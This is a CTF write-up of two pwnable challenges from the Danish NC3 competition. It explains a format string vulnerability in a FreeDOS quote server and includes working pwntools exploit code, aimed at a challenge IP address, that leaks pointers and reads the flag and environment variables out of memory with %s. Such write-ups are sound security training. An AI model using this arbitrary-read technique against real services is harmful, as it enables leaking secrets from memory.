'

NC3 CTF Pwnable

by Kevin Joensen on 15 Dec 2023 |
  • |
  • Table of Contents

    1. Introduction
    2. Doscember 1
    3. Doscember 2a

    Introduction

    During the course of the last two weeks danish NC3 has held their annual CTF competition. We found some time for looking at two of the tasks in the binary category.

    We want to extend our thanks to NC3, for a great commitment on this annual competition!

    Doscember 1

    We quickly identified the vulnerability that was to be utilized throughout this challenge. This was a simple format string vulnerability. These arises when users are allowed to put untrusted input into functions such as printf or similar. An attacker can then use modifiers such as %s%d%x and more, to read or write to memory.

    The first example of the vulnerable code is here:

    send_string(socket, "Dit valg: ");
    char choice[16];
    recv_string(socket, choice, 16);
    --SNIP--
    send_string(socket, "\nJeg forstår ikke dit valg: ");
    send_stringf(socket, choice);
    send_string(socket, "\n\n");
    

    It reads 16 bytes and feeds them into the send_stringf function, which includes the following:

    static void send_stringf(TcpSocket *socket, char *fmt, ...) {
      static char buf[CITE_SIZE];
      va_list ap;
    
      va_start(ap, fmt);
      vsnprintf(buf, CITE_SIZE, fmt, ap);
      va_end(ap);
    
      send_string(socket, buf);
    }
    

    Here we can identify the vulnerable call to vsnprintf.

    Since this is black box, we normally need some kind of leak to help us along. Luckily, they've helped us with this, and with the menu choice of 1337 we get the following function:

    static void print_flag(TcpSocket *socket) {
      static char *fmt = "\nDu troede vel ikke det var så nemt!\nMen lad mig pege dig den rigtige vej: %p %p %p %p\n\n";
      send_stringf(socket, fmt, &print_flag, fmt, flag, flag_file);
    
      fprintf(stderr, "\nFirst flag is: %s\n", flag);
      fprintf(stderr, "One second flag is: %s\n", getenv("FLAG2"));
      fprintf(stderr, "Another second flag is stored at: %s\n", getenv("FLAG3"));
    }
    

    Here all the pointers will leak. Let's test this assumption and run it.

    Velkommen til nordpolens citat server
      Indehaver af nordens bedste citater
    
    Du har nu følgende valg:
    
     1) Se alle citater
    
     2) Tilføj nyt citat
    
     3) Fjern et citat
    
     4) Genindlæs citater
    
     5) Afslut
    
    Dit valg: 1337
    
    Du troede vel ikke det var  nemt!
    Men lad mig pege dig den rigtige vej: 07d4:245d 1549:0958 1721:3498 1721:34d8
    

    As we can see, all our pointers are now readily available.

    Now since using format modifiers will pop things off the stack, we can usually write an address in our input, and then trigger a format modifier on it.

    So let's write a small piece of code that correctly receives and parses the addresses that are leaked. Then print the contents of the flag address with the %s modifier.

    Note: this is quick exploit code, so expect mess.

    from pwn import *
    
    r = remote("77.154.95.4", 1337)
    import time
    
    def leak_addresses():
        # Turns this: # Men lad mig pege dig den rigtige vej: 07d4:245d 1549:0958 1721:3498 1721:34d8
        # Into this: {'flag': 0x1234...}
        r.sendline("1337")
        r.recvuntil("Men lad mig pege dig den rigtige vej: ")
        addresses = r.recvuntil("\n")
        r.recvuntil("Dit valg: ")
        print_flag_function, fmt_str, flag, flag_file = addresses.split(b" ")
        addrs = {
            "print_flag_function": parse_address(print_flag_function),
            "fmt_str": parse_address(fmt_str),
            "flag": parse_address(flag),
            "flag_file": parse_address(flag_file),
        }
        return addrs
    
    def parse_address(addr):
        # "4443:4241" -> 0x44434241
        addr = addr.replace(b":", b"")
        return int(addr, 16)
    
    
    def trigger_format_string(payload):
        # Triggers the format string vulnerability
        r.sendline(payload)
        r.recvuntil("ikke dit valg: ")
        response = r.recvuntil("\n\n")
        return response[:-2]
    
    r.recvuntil("Dit valg: ")
    addrs = leak_addresses()
    
    # build payload for leaking flag
    addr_flag = p32(addrs["flag"])
    payload = addr_flag + b"%s"
    response = trigger_format_string(payload)
    print(response)
    r.sendline("5")
    

    What happens above is we take the address belonging to flag and then format it into a int. Now we utilize p32 which is a pwntools function, to make it into a string and fix the endianess (payloads are written in reverse).

    And when we run it we get the following:

    [+] Opening connection to 77.154.95.4 on port 1337: Done
    b'\x984!\x17NC3{At_laese_en_peger_er_ligefrem}'
    [*] Closed connection to 77.154.95.4 port 1337
    

    Doscember 2a

    The doscember specifies that the second flag is stored in the environment variable FLAG2, which is indicated here:

    fprintf(stderr, "One second flag is: %s\n", getenv("FLAG2"));
    

    All we need here is to think about how memory is mapped inside a binary file. So when the environment are allocated it will happen above any of the declared variables that are leaked (not the function ptr). This means that it will be placed on higher memory addresses than flag.

    So our idea here is just to extract the flag address again, and this time simply loop forwards with 32 bytes increments and print everything until we hit something that looks like an environment variable.

    So if we modify our code a bit, we will get the following function:

    def leak_bytes(base_addr, iterations, step):
        for x in range(iterations):
            print(x)
            addr = p32(base_addr)
            payload = addr + b"%s"
            response = trigger_format_string(payload)
            print(response)
            base_addr += step
    leak_bytes(addrs['flag'], 10000, 32)
    

    This will just be ran for less than one minute and suddenly we can see the flag {Vaerre_er_arbitraer_hukommelse}:

    179
    b'\xf8J!\x17'
    180
    b'\x18K!\x17TCP.CFG=C:\\FreeDOS'
    181
    b'8K!\x17us@freedos.org'
    182
    b'XK!\x17e_en_peger_er_ligefrem}'
    183
    b'xK!\x173{Vaerre_er_arbitraer_hukommelse}'
    184
    b'\x98K!\x17}'
    

    The above method will also leak the environment variable for FLAG3 which is C:\\FLAG.TXT. We did not have time for the last challenge but our guess is that to solve the last challenge, you simply need to leak the address of quote_file_name and write C\\FLAG.TXT to that address and reload the quotes with function choice reload_citation.

    The above solution is a bit messy, but in CTF's it's about getting things done.

    Thanks to NC3 for putting all the work into this CTF every year!